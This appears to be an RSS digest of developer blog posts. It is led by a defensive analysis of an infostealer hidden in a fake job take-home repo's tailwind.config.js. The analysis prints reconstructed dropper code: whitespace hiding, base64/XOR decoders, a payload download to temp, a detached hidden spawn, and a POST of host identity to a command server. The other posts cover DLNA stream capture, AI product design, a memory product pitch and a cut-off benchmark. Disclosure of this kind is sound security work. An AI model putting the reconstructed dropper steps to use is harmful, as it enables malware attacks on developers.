MoreRSS

site iconThe Practical DeveloperModify

A constructive and inclusive social network for software developers.
Please copy the RSS to your reader, or quickly subscribe to:

Inoreader Feedly Follow Feedbin Local Reader

Rss preview of Blog of The Practical Developer

I Got a Job Offer. But, It Came With Malware.

2026-04-15 17:51:58

Recently, a recruiter approached me via Linkedin with a Web3/crypto frontend role. The interview process seemed standard, submitted my Resume/CV, some back-and-forth about my experience, and then this message:

The recruiter's message on LinkedIn, asking me to complete a take-home technical assignment with a GitHub repo link and urging quick completion

"After reviewing your background, we'd like to move forward with the next step in our hiring process." A GitHub repo link. A 60-minute time estimate. Urgency about rolling submissions. Classic pressure to move fast and not think too hard.

I've done dozens of these. So I cloned the repo, opened it in my editor, and was about to run yarn install when something made me pause. The codebase felt... heavy for a simple coding test. 440 files. A full Express backend with Uniswap and PancakeSwap router integrations. Wallet private key handling. Why would a "create a WalletStatus component" task need all of this?

So instead of running it, I opened Claude Code and asked it to audit the entire codebase for malware. What it found buried inside tailwind.config.js, hidden behind 1500+ invisible whitespace characters, was a multi-stage infostealer that would have fingerprinted my machine, downloaded a remote payload, spawned a hidden background process, and exfiltrated my data to a command-and-control server. All triggered the moment I ran yarn start.

I later found a LinkedIn post by Jithin KG describing this exact attack pattern, malware embedded in fake take-home assignments targeting developers in the crypto space. I wasn't the only one being targeted.

This article is a full technical breakdown of what I found, including the exact Claude Code audit process that uncovered it. If you're job hunting, especially in crypto, but honestly in any space that sends you repos to run locally, read this before you yarn install anything.

The Setup: Everything Looked Normal

The repo they sent me looked completely legitimate. It presented itself as an NFT Campaign Platform called "Yootribe," built with:

  • React 18 + Redux frontend
  • Express.js + SQLite backend
  • Tailwind CSS, ethers.js, Web3, Uniswap SDK
  • A clean README with setup instructions, sample login credentials ([email protected] / testpassword), and troubleshooting tips

The assignment was straightforward:

Create a WalletStatus.js component that checks wallet connection status and displays the wallet address. Add a route at /dashboard/wallet-status. Submit a Pull Request.

Reasonable scope. Clear acceptance criteria. MetaMask integration, exactly what you'd expect from a Web3 company hiring frontend developers. The codebase was large enough (~440 files, 56,000+ lines) that no sane person would audit every line before running yarn start.

That's exactly what they were counting on.

How Claude Code Found It: The Audit

Before touching yarn install, I opened Claude Code in the project directory and ran a simple prompt:

Analyze the entire codebase to determine
whether it contains any malware or
scam-related behavior.

Pass 1: Broad Codebase Scan

Claude Code started by mapping the entire project structure, every file in src/, server/, public/, and root config files. It then ran parallel searches across the codebase for known threat indicators:

Suspicious imports and system access:

Searching for: child_process|exec(|execSync|spawn|fork(
Result: package.json:33, "child_process": "^1.0.2"

It immediately flagged child_process, crypto, and fs as npm dependencies, Node.js built-ins that should never be installed as third-party packages.

Private key handling:

Searching for: privateKey|private_key|mnemonic|seed.?phrase
Results:
  src/components/Wallet/ExportWallet.js:71, {userData?.wallet_private_key}
  src/components/CreateWallet/Step4.js:46 , localStorage.setItem('key', wallet.privateKey)

It found private keys stored in plaintext in localStorage and exposed through unprotected API endpoints, the sniping bot backend accepts raw private keys via HTTP POST and stores them in an unencrypted SQLite database.

The server is a front-running bot:

Claude Code read every controller file and identified that the "NFT Campaign Platform" was actually a fully functional MEV (Maximal Extractable Value) exploit tool:

  • server/controllers/snippingController.js, monitors the Ethereum mempool for addLiquidity events and front-runs them
  • server/controllers/frontController.js, 870 lines of code that copies other wallets' pending buy/sell transactions and executes them first for profit, supporting Uniswap V2, V3, and Universal Router
  • Zero authentication on bot control endpoints (POST /startSnipping, POST /startFront)

Pass 2: Deep Threat Vector Scan

But the broad scan didn't find actual malware yet, no eval(), no atob(), no obvious obfuscation. So I asked Claude Code to go deeper:

Focus on detecting:
- Dynamic code execution
- Remote payload downloads
- Obfuscated or intentionally hidden code
- Unexpected background process creation
- Unusual file or system access patterns

Claude Code ran targeted regex searches across every .js, .jsx, .ts, and .tsx file:

Searching for: eval(|new Function(|setTimeout([^,]*[`"'][^)]*)|
               setInterval([^,]*[`"'][^)]*)|Reflect.|Proxy(
Searching for: atob(|btoa(|Buffer.from(|toString(.*(hex|base64|ascii)|
               fromCharCode|charCodeAt
Searching for: fetch(|axios.(get|post)|http.request|https.request|
               request(|XMLHttpRequest
Searching for: child_process|exec(|execSync|execFile|spawn(|spawnSync|
               fork(|Worker(|cluster.|process.kill|process.exit|daemon
Searching for: fs.(read|write|unlink|rm|mkdir|access|stat|open|append)|
               readFileSync|writeFileSync|createReadStream|os.(homedir|
               tmpdir|platform|hostname|userInfo)

Most results were clean, normal fetch() calls to the project's own API, standard process.env usage, Sequelize's fs.readdirSync for model loading.

Then it hit tailwind.config.js.

Claude Code read the file and found that line 18 didn't end at column 3. After the };, there were over 1500 space characters, and then a massive block of obfuscated JavaScript starting with const a0ai=a0a1,a0aj=a0a1,a0ak=a0a1....

My editor never showed this. git diff --stat showed tailwind.config.js | 18 lines, looks normal. But Claude Code reads the full raw content of every file, including characters past column 1500.

Pass 3: Decoding the Malware

Claude Code then decoded the obfuscated payload without executing it. It used Node.js to safely reverse the base64 and XOR encoding:

// Claude Code ran this to decode the malware's string table:
const n = a0 => {
  s1 = a0.substring(1);
  return Buffer.from(s1, 'base64').toString('utf8');
};

// Decoded results:
// 'os'            , operating system module
// 'fs'            , filesystem module
// 'request'       , HTTP client
// 'path'          , path utilities
// 'child_process' , process spawning
// 'platform'      , os.platform()
// 'tmpdir'        , os.tmpdir()
// 'hostname'      , os.hostname()
// 'username'      , os.userInfo().username
// 'spawn'         , child_process.spawn()
// 'exec'          , child_process.exec()
// 'writeFileSync' , fs.writeFileSync()
// 'existsSync'    , fs.existsSync()
// 'statSync'      , fs.statSync()
// 'mkdirSync'     , fs.mkdirSync()
// 'get'           , request.get()
// 'post'          , request.post()

From this, Claude Code reconstructed the entire attack chain and confirmed it hits all five threat vectors:

Threat Vector Found Details
Dynamic code execution Yes child_process.exec() and spawn() with windowsHide: true
Remote payload download Yes request.get() downloads from dynamically constructed C2 URL
Obfuscated code Yes Base64 + XOR + string array rotation + 1500-char whitespace hiding
Background process creation Yes spawn({detached: true}) + unref() creates orphaned daemon
Unusual system access Yes Reads hostname, username, platform, tmpdir; writes to temp; POSTs to C2

All of this was found without running a single line of the project's code.

The Hidden Payload: 1500 Spaces of Silence

The malware lives in one file: tailwind.config.js.

Here's what you see if you open it:

/** @type {import('tailwindcss').Config} */
module.exports = {
  content: [
    "./src/**/*.{js,jsx,ts,tsx}",
    "./public/index.html",
  ],
  theme: {
    extend: {
      fontFamily: {
        'poppins': ['Poppins', 'sans-serif'],
      },
    },
  },
  plugins: [],
  corePlugins: {
    preflight: false,
  },
};

A perfectly normal Tailwind config. But line 18 doesn't end at the semicolon. After the };, there are over 1500 space characters padding the line horizontally, followed by a massive block of obfuscated JavaScript:

};                                          (1500+ more spaces)                                          const a0ai=a0a1,a0aj=a0a1,a0ak=a0a1...

Obfuscated Code

No editor will show this without horizontal scrolling. git diff won't flag it. Most code review tools render it as a clean, innocent config file.

This is the dropper.

Layer 1: The Obfuscation

The malicious code uses four stacked obfuscation techniques:

String Array Rotation

A shuffled array of 100+ base64-encoded strings is accessed via computed hex indices. The array is rotated at startup using an IIFE with a checksum:

(function(a0, a1) {
  const a2 = a0();
  while (!![]) {
    try {
      const a3 = parseInt(ab(0x1a0))/0x1 + parseInt(ab(0x1ed))/0x2 + ...
      if (a3 === a1) break;
      else a2['push'](a2['shift']());
    } catch(a4) { a2['push'](a2['shift']()); }
  }
})(a0a0, 0x7c2c2);

This makes the string lookups position-dependent on runtime computation. You can't statically map indices to values.

Custom Base64 + XOR Decoder

Two decoding functions work in tandem:

// Base64 decoder (strips first char as salt, then decodes)
const n = a0 => {
  s1 = a0.substring(1);
  return Buffer.from(s1, 'base64').toString('utf8');
};

// XOR decoder with rotating 4-byte key
const T = [0x70, 0xa0, 0x89, 0x48];
const x = a0 => {
  let a2 = '';
  for (let a3 = 0; a3 < a0.length; a3++) {
    rr = ((a0[a3] ^ T[a3 & 0x3]) & 0xff);
    a2 = a2 + String.fromCharCode(rr);
  }
  return a2;
};

Every sensitive string, module names, function names, URLs, runs through one or both of these before use.

String Fragmentation

Critical identifiers are split across multiple concatenations:

const c = 'base6' + '4';
const i = 'Rc3Bh' + a0ai(0x18b);   // → 'spawn'
const u = a0aj(0x1d4) + a0al(0x1e3) + 'A';  // → 'request'

Variable Name Mangling

Every variable is a meaningless alphanumeric identifier: a0ai, a0aj, aG, aH, bk. Functions are called through proxy objects with obfuscated keys:

a1 = {
  'bPrTI': function(a5, a6) { return a5(a6); },
  'ylVwx': function(a5, a6) { return a5(a6); },
};
// Later: a0['bPrTI'](someFunc, someArg)  // just calls someFunc(someArg)

Layer 2: What It Actually Does

After decoding every string, here's the reconstructed logic in plain English:

Imports

const os = require('os');
const fs = require('fs');
const request = require('request');  // HTTP client from package.json
const path = require('path');
const process = require('process');
const child_process = require('child_process');

Note: request, child_process, crypto, and fs are all listed as explicit dependencies in package.json. That's not accidental, it ensures they're available after yarn install without raising suspicion since the project is a crypto app that might plausibly need them.

Step 1, System Fingerprinting

const tmpDir = os.tmpdir();
const hostname = os.hostname();
const platform = os.platform();     // 'darwin', 'win32', 'linux'
const userInfo = os.userInfo();
const username = userInfo.username;
const timestamp = Date.now().toString();
const scriptPath = process.argv[1];

Collects everything needed to identify your machine uniquely.

Step 2, C2 URL Construction

The Command & Control server URL is never stored as a string. Instead, it's built dynamically from multiple encoded fragments:

// Simplified reconstruction:
const baseUrl = decode(M_or_X);  // switches between two C2 servers
const fullUrl = constructUrl(baseUrl, fragments, sessionId);

Two hardcoded base64 values (M and X) serve as primary/fallback C2 addresses. The URL includes path segments derived from XOR-decoded byte arrays, making pattern-matching by security tools nearly impossible.

Step 3, Payload Download

request.get(c2url, (error, response, body) => {
  if (error) return;
  fs.writeFileSync(localPath, body);  // writes to temp dir
  executePayload(tempDir);
});

Downloads a remote binary/script and writes it to a staging directory inside os.tmpdir(). The directory is created with fs.mkdirSync({recursive: true}).

Step 4, Hidden Execution

On Windows:

const child = spawn(process.execPath, [payload], {
  cwd: stageDir,
  stdio: 'ignore',
  windowsHide: true  // no visible window
});
child.unref();  // parent can exit, child keeps running

On macOS/Linux:

const child = spawn(nodePath, [process.execPath, payload], {
  cwd: stageDir,
  detached: true,  // survives parent termination
  stdio: ['ignore', logFd, logFd]  // redirects to hidden log
});
child.unref();

The detached: true + unref() combination is the key trick: it creates an orphaned process that continues running even after you close your terminal or kill the dev server. On Windows, windowsHide: true ensures no command prompt window flashes on screen.

Step 5, Data Exfiltration

const payload = {
  ts: timestamp,       // when
  type: identifier,    // campaign/session ID
  hid: hostname + '+' + username,  // who
  ss: sessionData,     // session context
  cc: process.argv[1]  // what script was running
};
request.post({ url: c2url, form: payload });

Your machine identity is sent to the attacker's server. This likely serves as:

  • Confirmation of successful infection
  • Inventory for targeted follow-up attacks
  • Filtering (don't waste effort on VMs/sandboxes)

Step 6, Persistence Loop

let attempts = 0;
const retry = async () => {
  try {
    timestamp = Date.now().toString();
    await downloadAndExecute(0);
  } catch(e) {}
};

retry();
let interval = setInterval(() => {
  attempts += 1;
  if (attempts < 3) retry();
  else clearInterval(interval);
}, 616000);  // every ~10.3 minutes

Runs immediately on import, then retries twice more at 10-minute intervals. Three total attempts to ensure the payload lands even if the C2 server is temporarily unreachable.

The Full Kill Chain

By the time your React app opens in the browser, the malware has already phoned home, dropped its payload, and started a hidden background process.

Red Flags I Almost Missed

Looking back, the signals were there, but they're easy to overlook when you're focused on completing an assignment:

1. Suspicious npm dependencies

"child_process": "^1.0.2",
"crypto": "^1.0.1",
"fs": "^0.0.1-security"

These are Node.js built-ins. They should never appear as npm dependencies. The npm packages with these names are either stubs or historically flagged as supply-chain attack vectors. Listing them ensures they're resolvable by require() in any environment.

2. The request package

"request": "^2.88.2"

The request npm package has been deprecated since 2020. A legitimate project in 2025+ would use axios (which is already in the deps) or node-fetch. The only reason request is here is because the malware needs it, and its presence is hidden among 80+ other dependencies.

3. The codebase is a crypto sniping bot

The server contains fully functional front-running and sniping bots that monitor the Ethereum mempool and exploit other users' transactions. Private keys are accepted via unprotected HTTP endpoints and stored in plaintext SQLite. This isn't just a vehicle for malware, the entire platform is an exploit tool.

4. One commit, one author

commit 70a3da95
Author: talent-labs <[email protected]>
Date:   Fri Jan 23 09:36:06 2026 +0900
    main/home-assignment
 438 files changed, 56441 insertions(+)

The entire codebase was committed in a single commit by talent-labs <[email protected]>. No history. A throwaway email. No GitHub organization page, no company website that matches, no LinkedIn profiles of employees I could verify. The "company" existed just enough to send me a repo.

How to Protect Yourself

Use Claude Code to Audit Before You Run

As I showed earlier in this article, this is exactly how I caught the malware. Two prompts. A few minutes. No code executed.

Claude Code reads every line of every file in the repo, including the parts hidden past column 1500 that your editor never renders. It doesn't get tired, it doesn't skim, and it doesn't assume config files are safe.

If you're receiving repos from strangers, run them through Claude Code before you touch yarn install. The two prompts I used:

Analyze the entire codebase to determine
whether it contains any malware or
scam-related behavior.
Focus on detecting:
- Dynamic code execution
- Remote payload downloads
- Obfuscated or intentionally hidden code
- Unexpected background process creation
- Unusual file or system access patterns

It's not a silver bullet, but it caught what my eyes, my editor, and git diff all missed.

Manual checks you should also do:

  1. Scroll right. Open every config file and scroll to the end of every line. Or run:
   awk 'length > 200' **/*.{js,json,ts,jsx,tsx}
  1. Search for obfuscation patterns:
   grep -rn 'eval\|Function(\|atob\|fromCharCode\|\\x[0-9a-f]' .
   grep -rn 'child_process\|\.exec(\|\.spawn(' .
   grep -rn 'Buffer\.from\|toString.*base64' .
  1. Audit package.json:

    • Look for preinstall/postinstall scripts
    • Flag built-in Node modules listed as dependencies (fs, child_process, crypto, os, path)
    • Question deprecated packages (request)
  2. Use a VM or container. Always. Run take-home assignments in a disposable environment. Docker, a throwaway VM, or at minimum a separate user account with no access to your crypto wallets, SSH keys, or cloud credentials.

  3. Check line lengths in git:

   git diff --stat  # won't catch it
   git log -p | awk 'length > 500'  # will
  1. Don't trust the file extension. Malware was in tailwind.config.js, a file you'd never think to audit. It could just as easily be in postcss.config.js, babel.config.js, jest.config.js, .eslintrc.js, or any config that gets require()'d at build time.

If you already ran it:

  1. Check for orphaned Node processes: ps aux | grep node
  2. Inspect your temp directory: ls -la $TMPDIR or ls -la /tmp
  3. Check for outbound connections: lsof -i -nP | grep node
  4. Rotate all credentials that were accessible from your machine, SSH keys, API tokens, crypto wallets, browser sessions
  5. Assume compromise. If you ran it on a machine with crypto wallets, move your assets immediately from a different device.

Final Thoughts

I almost ran this. I was one yarn start away from having my machine compromised, my SSH keys, my cloud credentials, my browser sessions, everything. The only reason I didn't is because the repo felt slightly too heavy for the task, and I decided to read before running.

But let's be honest: most of the time, we don't read. We're excited about a job opportunity. The repo looks professional. The task is reasonable. We want to impress the recruiter by submitting quickly. And that's exactly when we run yarn start without auditing 56,000 lines of code, including the 1500 invisible spaces hiding a backdoor in a Tailwind config.

The crypto/Web3 job market has become a hunting ground for these attacks. But the technique isn't limited to crypto, any take-home assignment in any tech stack can carry this payload. A Django project could hide it in settings.py. A Go project could hide it in go generate directives. A Rust project could hide it in build.rs.

What changed my workflow after this: I now run every take-home assignment through Claude Code before I touch yarn install. It takes two minutes and it reads every line, including the ones I can't see. It's not a silver bullet, but it caught what my eyes, my editor, and git diff all missed.

The rule is simple: if someone sends you code to run, treat it like someone handed you a USB drive in a parking lot. Inspect it. Sandbox it. And never run it on a machine that has access to anything you care about.

If this helped you, share it with someone who's job hunting. One yarn start is all it takes.

When Friends Started Asking for It, I Knew It Wasn't Just for Me

2026-04-15 17:51:34

When Friends Started Asking for It, I Knew It Wasn't Just for Me

The weirdest part of building something personal is when other people want it.

I originally built Archimedes for myself.
It was my fix for a research workflow that felt too fragmented.
But once I showed it to friends, the reaction changed the entire vibe.

They did not just say "cool demo."
They started asking for it.

That matters more than it sounds like it should.
Friends are often the first real signal that you have built something with actual utility.
They are not your target market in a rigorous statistical sense,
but they are usually honest about whether something feels useful.

The requests started small:

  • can I try it?
  • can you send me the link?
  • can it handle this kind of paper?
  • can it give me a cleaner output?

Then the requests got more specific.
They wanted a simpler way to use it.
They wanted a nicer interface.
They wanted the thing I had been using for myself to work for them too.

That is a powerful moment for any builder.
It means the project has escaped the original use case.
It is no longer just a private utility.
It has crossed into "other people can imagine themselves using this."

That feedback also exposed the real product shape.
The CLI was enough for me, but not enough for everybody.
If I wanted other people to use Archimedes without a tutorial and a prayer,
I needed to build a more approachable interface.

That is the exact moment the project started becoming a product.
Not because I declared it so.
Because other people started demanding it.

Bridging AI and E-commerce: How to Turn Generative Outputs into Actionable Shopping Lists

2026-04-15 17:50:42

Generating a beautiful image is the easy part. Getting a user from "wow" to "add to cart" — that's the product problem nobody talks about.

Most AI product builders hit the same wall about three weeks after launch.

The demo is impressive. Users upload a photo, the model returns a beautiful output, everyone is delighted. Then... nothing. Users screenshot the image, maybe share it, and leave. Conversion is low. Retention is low. The AI did its job. The product didn't.

The reason is almost always the same: the output was visual, but the user's goal was physical.

They didn't upload a room photo because they wanted a nice picture. They uploaded it because they want their actual room to look different. The image is not the destination — it's the starting point. And most AI products treat it as the finish line.

This article is about the architecture — product, technical, and UX — of bridging that gap.

Why the Image Is Never Enough

Let's be precise about the user journey, because it matters for every decision downstream.

When a user engages with an AI design tool, their mental model looks roughly like this:

Current Room → [AI Magic] → Dream Room

Simple. Clean. The product fulfills it by generating a compelling visual. Problem solved.

Except that's not actually the journey. The real journey looks like this:

Current Room → [AI Visual] → "I want this" → ??? → Dream Room

The ??? is where most AI design products drop users. And it's not a small gap. Between seeing a generated image and having a real room that looks like it, there are:

  • Dozens of individual product decisions (furniture, lighting, textiles, decor)
  • Budget constraints to respect
  • Physical space constraints to verify
  • Vendor research to conduct
  • Purchase sequencing to figure out (what do you buy first?)
  • Installation or styling to execute

Dropping a user at the image and calling it done isn't a product. It's a mood board generator. Mood board generators are fun. They don't build retention, revenue, or real user value.

The design challenge is: how do you carry users across the ????

The Three Layers of a Complete AI-to-Action Product

In building out the post-generation experience, I've found it useful to think in three distinct layers, each serving a different user need.

Layer 1 — Inspiration Confirmation (The Visual)

This is what most AI tools build. The generated image answers the question: "Could my space look like this?"

Its job is emotional. It converts a vague aspiration ("I think I want Scandinavian vibes?") into a concrete, specific, personal vision ("Oh, that's exactly what I mean"). Without this, nothing downstream matters — the user has no committed design direction to shop toward.

Key product requirement: The visual must be spatially accurate enough to feel like your room, not a generic aspirational render. (See the spatial analysis challenges article for why that's technically non-trivial.) If the image doesn't feel personal, the emotional confirmation doesn't land, and the user doesn't invest in the journey.

Layer 2 — Translation (The Product Recommendations)

This layer answers: "What specific things do I need to buy to make this real?"

It's the bridge. And it's where most of the interesting product and technical work lives.

Connecting a generated visual to real, purchasable products requires solving a few non-trivial problems:

a) Style-to-product mapping

Your generation model knows style categories. Your product catalogue knows SKUs. These two namespaces don't naturally align. You need a mapping layer that translates visual style attributes — "warm oak tones," "low-profile seating," "organic textile textures" — into filterable product attributes that match vendor catalogue structures.

One approach: train a lightweight classifier on styled room images to output structured style attribute vectors. Use those vectors as retrieval queries against an embedded product database. Products are embedded by style description, materials, and visual similarity (via CLIP or equivalent). Cosine similarity retrieval returns candidates; a re-ranking step applies budget and dimension filters.

b) Completeness vs. overwhelm

A complete room has 20–40 individual products in it. Showing a user 40 product recommendations at once is not helpful — it's the paradox of choice problem all over again. You need curation logic that determines which recommendations to surface first.

Useful heuristics:

  • Anchor pieces first. Sofa before throw pillows. Bed frame before bedside lamp. Structural items before decorative ones.
  • Budget-weighted ranking. If a user's estimated budget is $1,500, surface items that together approach but don't exceed that figure before showing add-ons.
  • Category sequencing. Some purchases gate others. You can't choose a rug until you know the sofa dimensions. Surface items in dependency order.

c) Vendor trust signals

Product recommendations without vendor context feel hollow. Users need signals — ratings, return policies, lead times, price-quality positioning — to make purchase decisions. The recommendation layer should carry these signals, not just product images and prices.

// Example product recommendation schema
{
  product_id: "string",
  name: "string",
  category: "anchor | accent | textile | lighting | decor",
  style_match_score: 0.01.0,
  price_usd: number,
  vendor: {
    name: "string",
    trust_signals: ["free_returns", "in_stock", "top_rated"],
    url: "string"
  },
  dimensions: {
    width_in: number,
    depth_in: number,
    height_in: number
  },
  image_url: "string",
  purchase_url: "string"
}

Layer 3 — Execution (The Checklist)

This layer answers: "What do I actually do, and in what order?"

It converts inspiration + product selection into a project plan. This is the most underbuilt layer in most AI design products, and arguably the highest-value one.

A well-structured renovation checklist does several things:

  • Sequences purchases so users don't buy things they'll need to return
  • Surfaces dependencies (measure your space before ordering the sofa)
  • Tracks progress so the project feels achievable rather than overwhelming
  • Creates return visits — a checklist is an ongoing engagement mechanism, not a one-time deliverable

The checklist is also where AI has the most headroom to add value beyond the initial generation. Dynamic checklist updates based on what a user has already purchased, budget tracking against remaining items, reminders when sale events hit for saved products — these are all high-value features that are technically straightforward once the data model is right.

How We Connected the Layers in Practice

When building DreamDen AI, we made a deliberate product decision early: the app needed to go beyond visuals. A pretty render wasn't the product. The renovation journey was the product.

That decision shaped the entire architecture. A few specific choices worth sharing:

1. Mood boards as intermediate representations

Rather than jumping directly from generated image to product list, we added a mood board layer. Mood boards serve as a negotiation surface between the AI's output and the user's actual preferences. They're easier to react to than a full product catalogue, and they capture intent signals (pinned items, dismissed items, style adjustments) that improve downstream recommendation quality.

Mood board interactions are essentially implicit preference feedback without asking users to fill out a form.

2. Checklists as living documents

The checklist isn't generated once and handed off. It updates based on:

  • Items the user marks as purchased
  • Budget remaining
  • Room readiness dependencies (don't show "style the bookshelf" before "buy the bookshelf")
  • User-reported space constraints

This makes the checklist a persistent engagement surface, not a static PDF.

3. Vendor curation over vendor volume

Rather than connecting to a broad product API and returning hundreds of results, we invested in a curated vendor network. Fewer options, higher trust, better match quality. This trades coverage for conversion — a tradeoff that makes sense when your user is making real purchase decisions rather than browsing.

By tying the AI's output to trusted vendors and clear checklists, we built a renovation experience that carries users from generated image to delivered furniture without the ??? gap. You can see how this flow works in practice at DreamDen.

The State Machine Mental Model

If you're building something similar, it helps to think of the post-generation product as a state machine. Each state has a clear purpose, a primary CTA, and defined transitions:

┌─────────────────────────────────────────────────────┐
│                   USER STATE MACHINE                │
└─────────────────────────────────────────────────────┘

[UPLOAD] ──► [GENERATE] ──► [CONFIRM STYLE]
                                  │
                                  ▼
                          [MOOD BOARD CURATION]
                                  │
                                  ▼
                        [PRODUCT RECOMMENDATIONS]
                           ┌──────┴──────┐
                           ▼             ▼
                      [SAVE ITEM]   [DISMISS ITEM]
                           │
                           ▼
                    [CHECKLIST BUILDER]
                           │
                           ▼
                   [PURCHASE / TRACK]
                           │
                           ▼
                    [MARK COMPLETE]
                           │
                           ▼
                  [SHARE / NEW ROOM]  ◄── re-entry point

Every state should have exactly one primary action. Decision fatigue at any node kills conversion. If a user reaches a state and isn't sure what to do next, they leave.

Technical Checklist: What You Need to Build This

For developers starting on an AI-to-action product, here's the minimal stack:

Component What It Does Approaches
Generation model Produces the room visual Diffusion + ControlNet, fine-tuned
Style attribute extractor Maps visual output to structured attributes CLIP embeddings, custom classifier
Product catalogue Source of purchasable items Vendor API, affiliate feeds, curated DB
Product embedder Enables semantic retrieval CLIP, sentence-transformers on descriptions
Recommendation ranker Surfaces best-match products Cosine similarity + budget/dimension filters
Checklist engine Sequences and tracks purchase steps Dependency graph, user state DB
Mood board component Captures preference signals Drag-and-drop UI, pin/dismiss events
Vendor trust layer Enriches recommendations with signals Vendor metadata API or manual curation

You don't need all of this on day one. Ship the generation + basic product recommendations first. Add the checklist engine and mood board layer once you've validated that users engage with recommendations at all.

The Broader Pattern: From Generative Output to Real-World Action

The problem we've been discussing isn't unique to interior design. It's a general pattern in consumer AI products:

Generative outputs are inspiring. Users need actionable.

The same gap exists in:

  • AI outfit generation → "where do I actually buy these pieces?"
  • AI meal planning → "turn this into a grocery list"
  • AI travel itineraries → "book the actual hotels"
  • AI fitness plans → "order the equipment I need"

In every case, the AI's job is to produce a high-quality, personalized output. The product's job is to carry the user from that output to the real-world action they actually wanted.

The teams that crack this pattern — for their specific vertical, with their specific user base — will build the AI consumer products with real retention and real revenue. The teams that ship the generation and ship nothing else will build demos.

Know which one you're building.

Further Reading

  • Beyond Simple Image Generation: The Technical Challenges of AI Spatial Analysis — the computer vision side of this problem
  • ControlNet paper — Adding Conditional Control to Text-to-Image Diffusion Models (Zhang et al., 2023)
  • The Paradox of Choice — Barry Schwartz (foundational reading on recommendation UX)
  • CLIP paper — Learning Transferable Visual Models From Natural Language Supervision (Radford et al., 2021)

I needed the stream URL when casting video — so I built a fake TV

2026-04-15 17:48:24

I wanted to grab the actual stream URL when casting a video from my phone to the TV. Not to watch it on the TV — I wanted the raw m3u8 link so I could record it with ffmpeg or play it in VLC on my laptop.

Turns out, DLNA casting works by sending the media URL from the phone app to the TV via a standard SOAP request (SetAVTransportURI). The TV then fetches and plays the stream on its own. The phone is just a remote control.

So... what if your computer pretended to be a TV?

The idea

If you advertise a fake UPnP MediaRenderer on the local network, any app that supports DLNA casting (Bilibili, iQiyi, Youku, TikTok, and many more) will happily send you the real stream URL when you hit "cast."

The app can't tell the difference — it's standard protocol, same as talking to a Samsung or Sony TV.

How it works

  1. SSDP multicast on 239.255.255.250:1900 — announce ourselves as a MediaRenderer
  2. UPnP device description — reply with a minimal XML descriptor when queried
  3. SOAP control — the app sends SetAVTransportURI with the actual stream URL. We extract it and we're done.

The whole thing is ~500 lines of Python stdlib. No dependencies.

Usage

pip install wechat-finder-dlna

# Print the captured URL
wechat-finder-dlna

# Record directly with ffmpeg
wechat-finder-dlna --record stream.mp4 --duration 01:00:00

# Pipe to VLC
wechat-finder-dlna | xargs vlc

Or use it as a library:

from wechat_finder_dlna import capture

url = capture(name="Living Room TV")
# url is the raw m3u8/mp4 link — do whatever you want with it

Phone and computer need to be on the same WiFi. That's it.

Why not just use an existing DLNA library?

I looked at a few (like dlnap, macast), but they're full renderers — they actually play the video. I just wanted the URL. So I built the smallest possible MediaRenderer that only implements device discovery and SetAVTransportURI.

Zero external dependencies. Pure stdlib (http.server, socket, threading, xml).

What apps work with this?

Anything that supports DLNA/UPnP casting. I've tested with several Chinese streaming apps (they all use DLNA for casting), but it should work with any app that can cast to a smart TV on your network.

The project is at github.com/gtoxlili/wechat-finder-dlna. Feedback welcome — especially if you've tested it with apps I haven't tried.

MemoryLake:Persistent multimodal memory for AI agents

2026-04-15 17:46:49

I've been building AI agents for the past few years, and kept hitting the same wall: they forget everything between sessions. You spend weeks training an agent on your workflow, then it wakes up the next day like it's never met you.

That's why we built MemoryLake (https://memorylake.ai) – a persistent, multimodal memory layer for AI agents that survives across sessions, platforms, and even model switches.

The Problem

Most AI "memory" solutions today are just key-value stores that remember user preferences ("I live in Beijing"). That's useful, but it's not real memory. Real memory means:

  • Cross-session continuity – Your agent remembers the project you discussed 3 months ago
  • Conflict resolution – When different sources contradict each other, the system detects and resolves it
  • Multimodal understanding – It can parse your Excel sheets, PDFs, meeting recordings
  • Provenance tracking – Every fact is traceable to its source (Git-like version control)
  • Zero trust architecture – We can't read your memories. Literally. Three-party encryption means no single entity holds all keys.

What Makes It Different

vs. RAG/Vector DBs: Those are retrieval layers. MemoryLake is a cognitive layer – it understands, organizes, and reasons over memories.

vs. Long context: Longer context ≠ memory. MemoryLake compresses and structures information, cutting token costs by up to 91% while maintaining 99.8% recall accuracy.

vs. ChatGPT Memory / Claude Projects: Those are siloed. MemoryLake is your "memory passport" – one memory layer that works across Hermes,OpenClaw, ChatGPT, Claude, Kimi, any LLM.

Tech Highlights

  • MemoryLake-D1 VLM – domain model for multimodal memory extraction (99.8% accuracy on complex docs)
  • Temporal knowledge graph – Tracks how facts evolve over time
  • Multi-hop reasoning – Sub-second queries across millions of memory nodes
  • Built-in open data – 40M+ papers, 3M+ SEC filings, 500K+ clinical trials, real-time financial data

Real-World Use

We're serving 2M+ users globally. Enterprise customers include major document platforms and mobile office apps processing 100+ trillion records. In head-to-head tests with cloud giants, we've achieved 10x better cost/performance.

We recently launched Hermes/OpenClaw integration – if you're running agents, you can plug in MemoryLake in 60 seconds.

Open Questions

  • How do you handle memory decay? (We're experimenting with confidence-weighted forgetting)
  • Should memory be mutable or append-only? (Currently hybrid – facts are versioned, events are immutable)
  • What's the right granularity for memory isolation? (We support global/agent/session levels)

Would love your feedback, especially from folks running production agents or working on long-context systems.

Links:

Happy to answer any questions!

We Benchmarked SMS Against C++, C#, and Kotlin. Here's What Happened.

2026-04-15 17:46:23

SMS is the scripting language at the heart of Forge — an open source UI framework
built around a simple idea: what if you never had to install a runtime again?

The Question

Every new language or runtime eventually faces it:

"But how fast is it?"

For SMS, we had been avoiding a direct answer. We knew SMS compiled to LLVM IR was
fast — but "fast" is not a number. So we sat down, designed a fair benchmark, and
let the machine decide.

Fair is the key word here. SMS does not have an optimizer yet. Generating LLVM IR
and handing it to clang without any -O flag — that is our current AOT path.
Putting SMS against C++ with -O2 would be like sending a sprinter onto a racetrack
without shoes while the opponent wears spikes. The track would prove nothing.

So we asked a different question:

What happens when everyone runs without optimization?

The Setup

Machine: Apple M2

Workload: Three tasks designed to resist compiler optimization even at -O2:

fib(36)             — recursive, exponential call tree
                      no compiler converts this to O(n) automatically

lcgChain(42, 2M)    — serial LCG dependency chain
                      each iteration depends on the previous → no SIMD

nestedMod(800×800)  — nested loop with modulo in the inner loop
                      modulo blocks vectorization

Same algorithm in every language. Same checksum required: 174148737.
If the number doesn't match, the run is invalid.

Compilation flags:

Runtime How it was compiled
SMS → LLVM IR sms_compileclang (no -O flag)
C++ clang++ -O0
C# .NET Release /p:Optimize=false
Kotlin JVM standard kotlinc + java -jar (JIT active)

C++ and SMS are at exactly the same optimizer level: zero.
Kotlin and C# run with JIT — we note this explicitly in the results.

The Results

